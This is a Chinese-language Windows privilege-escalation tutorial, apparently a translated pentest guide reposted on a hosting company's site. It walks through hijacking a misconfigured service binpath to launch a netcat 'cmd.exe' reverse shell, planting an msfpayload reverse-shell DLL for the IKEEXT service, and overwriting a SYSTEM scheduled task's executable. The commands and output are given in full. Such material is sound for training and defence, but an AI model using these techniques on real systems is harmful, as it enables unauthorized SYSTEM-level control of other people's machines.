我們將會檢查很多訪問權(quán)限，所以我們應(yīng)該抓取一份微軟 Sysinternals 套件中 accesschk.exe 工具的副本。微軟 Sysinternals 套件包含了許多強(qiáng)大的工具，但微軟并沒有把它們加入標(biāo)準(zhǔn)版的 Windows。你可以從 微軟 technet 網(wǎng)站下載該套件
我們將會先從 Windows 開啟的服務(wù)來尋找線索，因?yàn)槟抢锟梢园l(fā)現(xiàn)很多快速制勝的方法。通常來說，現(xiàn)代操作系統(tǒng)不會包含存在漏洞的服務(wù)。在這種情況下，漏洞指的是我們可以重新配置的服務(wù)參數(shù)。Windows 服務(wù)有點(diǎn)像應(yīng)用程序的快捷鍵，下面是一個(gè)例子
# We can use sc to query, configure and manage windows services.# 我們可以使用 sc 去查詢、配置、管理 Windows 服務(wù) C:\Windows\system32> sc qc Spooler[SC] QueryServiceConfig SUCCESS SERVICE_NAME: Spooler TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe LOAD_ORDER_GROUP : SpoolerGroup TAG : 0 DISPLAY_NAME : Print Spooler DEPENDENCIES : RPCSS : http SERVICE_START_NAME : LocalSystem
我們可以使用 accesschk 檢查每一個(gè)服務(wù)的權(quán)限
# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services. C:\> accesschk.exe -ucqv Spooler Spooler R NT AUTHORITY\Authenticated Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL R BUILTIN\Power Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_USER_DEFINED_CONTROL READ_CONTROL RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS
Accesschk 可以自動(dòng)化的檢測我們是否擁有一個(gè) Windows 服務(wù)的寫入訪問權(quán)限。作為一個(gè)低權(quán)限用戶，我們通常希望檢查結(jié)果為 “Authenticated Users”。一定要去檢查你的用戶屬于哪個(gè)用戶組，舉個(gè)例子，“Power Users” 被認(rèn)為是一個(gè)低權(quán)限用戶組（盡管它沒有被廣泛使用）
一起來比較一下在 Windows 8 和 Windows XP SP0 上輸出的不同
# This is on Windows 8. C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" * No matching objects found.# On a default Windows XP SP0 we can see there is a pretty big security fail. C:\> accesschk.exe -uwcqv "Authenticated Users" * RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv SSDPSRV SSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS
這個(gè)問題在之后的 XP SP2 版本中得到了解決，然而在 SP0 和 SP1 它可以被用作一個(gè)通用的本地提權(quán)漏洞。通過重新配置該服務(wù)，我們可以讓它以 SYSTEM 權(quán)限運(yùn)行任何我們指定的二進(jìn)制文件。
讓我們來看看怎么實(shí)踐操作，在這個(gè)例子里該服務(wù)將會執(zhí)行 netcat 并且可以反彈一個(gè) SYSTEM 權(quán)限的 shell。其它的操作方法當(dāng)然也是可能存在的。
C:\> sc qc upnphost[SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : NT AUTHORITY\LocalServiceC:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"[SC] ChangeServiceConfig SUCCESS C:\> sc config upnphost obj= ".\LocalSystem" password= ""[SC] ChangeServiceConfig SUCCESS C:\> sc qc upnphost[SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : LocalSystem C:\> net start upnphost
【不支持外鏈圖片，請上傳圖片或單獨(dú)粘貼圖片】
即使服務(wù)是不正確配置的，我們大多時(shí)候也不能獲取該服務(wù)完整的控制權(quán)限。下圖是從 Brett Moore’s 在 Windows 提權(quán)方面的滲透測試，圖中的任一權(quán)限都可以給我們一個(gè) SYSTEM shell
【不支持外鏈圖片，請上傳圖片或單獨(dú)粘貼圖片】
重要的是去記住我們搞定的 session 是屬于哪個(gè)用戶組的，正如先前提到的 “Power Users” 被視為是一個(gè)低權(quán)限用戶組。但 “Power Users” 也有一些屬于他們自己的配置漏洞， Mark Russinovich 已經(jīng)在這個(gè)問題上寫了非常有趣的文章。
“Power Users” 的力量 ( Mark Russinovich )
最后，我們將會檢查文件/目錄的權(quán)限，如果我們不能直接攻擊計(jì)算機(jī)系統(tǒng)，我們就讓計(jì)算機(jī)做所有的繁重工作。由于這方面涉及內(nèi)容太多，所以我將介紹兩種提權(quán)漏洞給你，并展示如何去利用它們。一旦你掌握了通用的思路，你將能夠在其它場景下應(yīng)用這些技術(shù)。
作為第一個(gè)示例，我們將復(fù)現(xiàn) GreyHatHacker 上 Parvez 的一篇文章中的方法?！袄玫臀募A權(quán)限提權(quán)”，這是一個(gè)很棒的提權(quán)思路，我非常推薦大家去閱讀。
這個(gè)示例是DLL 劫持中的一個(gè)特例。程序通常不能通過它們自身實(shí)現(xiàn)功能，它們需要掛載許多自身所需的資源（大多是 DLL 但也有某些特有文件）。如果一個(gè)程序或服務(wù)從一個(gè)我們擁有寫權(quán)限的目錄中裝載了文件，那我們就可以借此彈出一個(gè)與之相同權(quán)限的 shell
通常一個(gè) Windows 應(yīng)用程序?qū)褂靡粋€(gè)預(yù)定義的搜索路徑去尋找 DLL 組件，而且它會以特定的順序檢查這些路徑。DLL 劫持經(jīng)常是將一個(gè)惡意的 DLL 置于某一搜索路徑中，并確保惡意 DLL 會在合法的 DLL 之前被找到。
以下是在32位操作系統(tǒng)下 DLL 查找的順序
1 The directory from which the application loaded
2 32-bit System directory (C:\Windows\System32)
3 16-bit System directory (C:\Windows\System)
4 Windows directory (C:\Windows)
5 The current working directory (CWD)
6 Directories in the PATH environment variable (system then user)
有時(shí)應(yīng)用程序想要加載的 DLL 可能不在主機(jī)上，引起該問題的原因有很多，比如當(dāng) DLL 文件只存在于某個(gè)未安裝的插件或者計(jì)算機(jī)特性（feature）時(shí)。在這種情況下， Parvez 發(fā)現(xiàn)某些 Windows 服務(wù)會去試圖加載默認(rèn)安裝中不存在的 DLL。
但由于問題中的 DLL 不存在，所以我們將遍歷所有路徑。作為一個(gè)低權(quán)限的用戶，也許我們可以去放置一個(gè)惡意 DLL 在上述路徑中的 1-4 中。而路徑 5 是行不通的，因?yàn)槲覀冋谘芯康氖?Windows 服務(wù)，我們并沒有所有目錄的寫權(quán)限
讓我們來看一下如何進(jìn)行實(shí)戰(zhàn)，在本例中，我們將會利用需要加載 wlbsctrl.dll 的 IKEEXT (IKE and AuthIP IPsec Keying Modules) 服務(wù)
# This is on Windows 7 as low privilege user1. C:\Users\user1\Desktop> echo %username%user1# We have a win here since any non-default directory in "C:\" will give write access to authenticated users. C:\Users\user1\Desktop> echo %path%C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\OpenVPN\bin;C:\Python27# We can check our access permissions with accesschk or cacls. C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> cacls "C:\Python27" C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot!
C:\Users\user1\Desktop> sc qc IKEEXT[SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem
現(xiàn)在必要的條件都已經(jīng)滿足了，我們可以生成一個(gè)惡意的 DLL 并彈出一個(gè) shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86Needs Admin: No Total size: 314 Rank: NormalProvided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D >
/root/Desktop/evil.dll
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp Length: 314Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}在將惡意 DLL 傳送到靶機(jī)之后，我們需要將它重命名為 wlbsctrl.dll 并將它移動(dòng)到 “C:\Python27” 路徑下。完成后，我們只需要耐心等待機(jī)器被重啟（或者我們可以嘗試強(qiáng)制重啟），之后我們就可以得到一個(gè) SYSTEM shell。
# Again, this is as low privilege user1. C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop02/18/2014 01:49 PM <DIR> .02/18/2014 01:49 PM <DIR> ..04/22/2013 09:39 AM 331,888 accesschk.exe02/18/2014 12:38 PM 14,336 evil.dll01/25/2014 12:46 AM 36,864 fubar.exe01/22/2014 08:17 AM <DIR> incognito206/30/2011 01:52 PM 1,667,584 ncat.exe11/22/2013 07:39 PM 1,225 wmic_info.bat 5 File(s) 2,051,897 bytes 3 Dir(s) 73,052,160 bytes free C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll 1 file(s) copied. C:\Users\user1\Desktop> dir C:\Python27 Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Python2702/18/2014 01:53 PM <DIR> .02/18/2014 01:53 PM <DIR> ..10/20/2012 02:52 AM <DIR> DLLs10/20/2012 02:52 AM <DIR> Doc10/20/2012 02:52 AM <DIR> include01/28/2014 03:45 AM <DIR> Lib10/20/2012 02:52 AM <DIR> libs04/10/2012 11:34 PM 40,092 LICENSE.txt04/10/2012 11:18 PM 310,875 NEWS.txt04/10/2012 11:31 PM 26,624 python.exe04/10/2012 11:31 PM 27,136 pythonw.exe04/10/2012 11:18 PM 54,973 README.txt10/20/2012 02:52 AM <DIR> tcl10/20/2012 02:52 AM <DIR> Tools04/10/2012 11:31 PM 49,664 w9xpopen.exe02/18/2014 12:38 PM 14,336 wlbsctrl.dll 7 File(s) 523,700 bytes 9 Dir(s) 73,035,776 bytes free
萬事俱備，我們只需要等待機(jī)器重啟。出于演示目的，我在下面截圖中是使用管理員指令手動(dòng)重啟該服務(wù)
【不支持外鏈圖片，請上傳圖片或單獨(dú)粘貼圖片】
對于我們最后的例子，我們將關(guān)注于計(jì)劃任務(wù)。回顧我們之前搜集到的信息，我們有以下條目
HostName: B33F TaskName: \LogGrabberTFTP Next Run Time: 2/19/2014 9:00:00 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: N/A Last Result: 1 Author: B33F\b33f Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txtStart In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: DisabledPower Management: Stop On Battery Mode, No Start On Batteries Run As User: SYSTEMDelete Task If Not Rescheduled: EnabledStop Task If Runs X Hours and X Mins: 72:00:00Schedule: Scheduling data is not available in this format. Schedule Type: DailyStart Time: 9:00:00 AMStart Date: 2/17/2014End Date: N/A Days: Every 1 day(s) Months: N/ARepeat: Every: DisabledRepeat: Until: Time: DisabledRepeat: Until: Duration: DisabledRepeat: Stop If Still Running: Disabled
這看起來像有一個(gè) TFTP 客戶端連接到遠(yuǎn)程主機(jī)去搜集某些 log 文件。我們可以看到這個(gè)任務(wù)每日早9點(diǎn)以 SYSTEM 權(quán)限運(yùn)行，再看看我們是否有這個(gè)文件夾的寫入權(quán)限
C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"E:\GrabLogs Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROLC:\Users\user1\Desktop> dir "E:\GrabLogs" Volume in drive E is More Volume Serial Number is FD53-2F00 Directory of E:\GrabLogs02/18/2014 11:34 PM <DIR> .02/18/2014 11:34 PM <DIR> ..02/18/2014 11:34 PM <DIR> Logs02/18/2014 09:21 PM 180,736 tftp.exe 1 File(s) 180,736 bytes 3 Dir(s) 5,454,602,240 bytes free
顯然這是一個(gè)嚴(yán)重的配置問題，這個(gè)計(jì)劃任務(wù)根本不需要以 SYSTEM 權(quán)限執(zhí)行，但更糟糕的是任何授權(quán)的用戶都有該目錄的寫權(quán)限。理想情況下，對于一次滲透測試我會抓取一個(gè) TFTP 客戶端在里面放一個(gè)后門，確保它仍然正常工作，再將其放回靶機(jī)。然而出于演示目的，我們可以簡單的通過 metasploit 生成一個(gè)二進(jìn)制文件然后直接覆蓋它。
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86Needs Admin: No Total size: 314 Rank: NormalProvided by: vlad902 <vlad902@gmail.com> sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t exe > /root/Desktop/evil-tftp.exe x86/shikata_ga_nai succeeded with size 341 (iteration=1)
現(xiàn)在工作只剩下上傳我們的惡意可執(zhí)行文件并覆蓋掉 “E:\GrabLogs\tftp.exe” 文件。一旦上傳成功，我們就可以去休息了，等到明早睡醒就可以得到我們的 shell 。對了，別忘記去檢查我們靶機(jī)的時(shí)間/時(shí)區(qū)
C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop02/19/2014 01:36 AM <DIR> . 02/19/2014 01:36 AM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/19/2014 01:31 AM 73,802 evil-tftp.exe 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 11/22/2013 07:39 PM 1,225 wmic_info.bat 6 File(s) 2,125,699 bytes 3 Dir(s) 75,341,824 bytes free C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes 1 file(s) copied.
為了證明這次提權(quán)，我調(diào)快了系統(tǒng)時(shí)間。從以下截圖中可以看到，在早9點(diǎn)時(shí)我們得到了 SYSTEM shell
【不支持外鏈圖片，請上傳圖片或單獨(dú)粘貼圖片】
在思考獲取文件/文件夾權(quán)限時(shí)，這兩個(gè)示例應(yīng)該會給你一些尋找漏洞的思路。真正的實(shí)戰(zhàn)中你可能需要花時(shí)間去檢查所有的Windows服務(wù)、計(jì)劃任務(wù)和開機(jī)任務(wù)的 binpaths
我們已經(jīng)知道了 accesschk 是一種測試工具。在文章結(jié)束之前，我會再給你一些使用 accesschk 的技巧
# 當(dāng)用戶第一次使用任何一個(gè) sysinternals 工具包的工具時(shí)，用戶都會看到一個(gè)選擇是否接受EULA的彈出窗口，這顯然是一個(gè)大問題，但我們可以添加一個(gè)額外的參數(shù)來自動(dòng)接受EULAaccesschk.exe /accepteula ... ... ...# Find all weak folder permissions per drive.accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\# Find all weak file permissions per drive.accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.*
本指南旨在成為Windows特權(quán)升級的“基礎(chǔ)”。如果你想真正掌握這個(gè)主題，你需要投入大量的工作和研究。就像所有的滲透測試一樣，舉一反三是關(guān)鍵，你對目標(biāo)的了解越多，攻擊的途徑越多，成功的幾率就越大。
還要記住，有時(shí)你可能會將你的權(quán)限提升到管理員。從管理員到系統(tǒng)的提權(quán)是一個(gè)無關(guān)緊要的問題，你可以始終重新配置一個(gè)服務(wù)，或者創(chuàng)建一個(gè)具有系統(tǒng)級別特權(quán)的調(diào)度任務(wù)。
現(xiàn)在就去實(shí)踐，然后得到SYSTEM!!
看完上述內(nèi)容是否對您有幫助呢？如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章，請關(guān)注億速云行業(yè)資訊頻道，感謝您對億速云的支持。
免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點(diǎn)不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進(jìn)行舉報(bào)，并提供相關(guān)證據(jù)，一經(jīng)查實(shí)，將立刻刪除涉嫌侵權(quán)內(nèi)容。
億速云公眾號
手機(jī)網(wǎng)站二維碼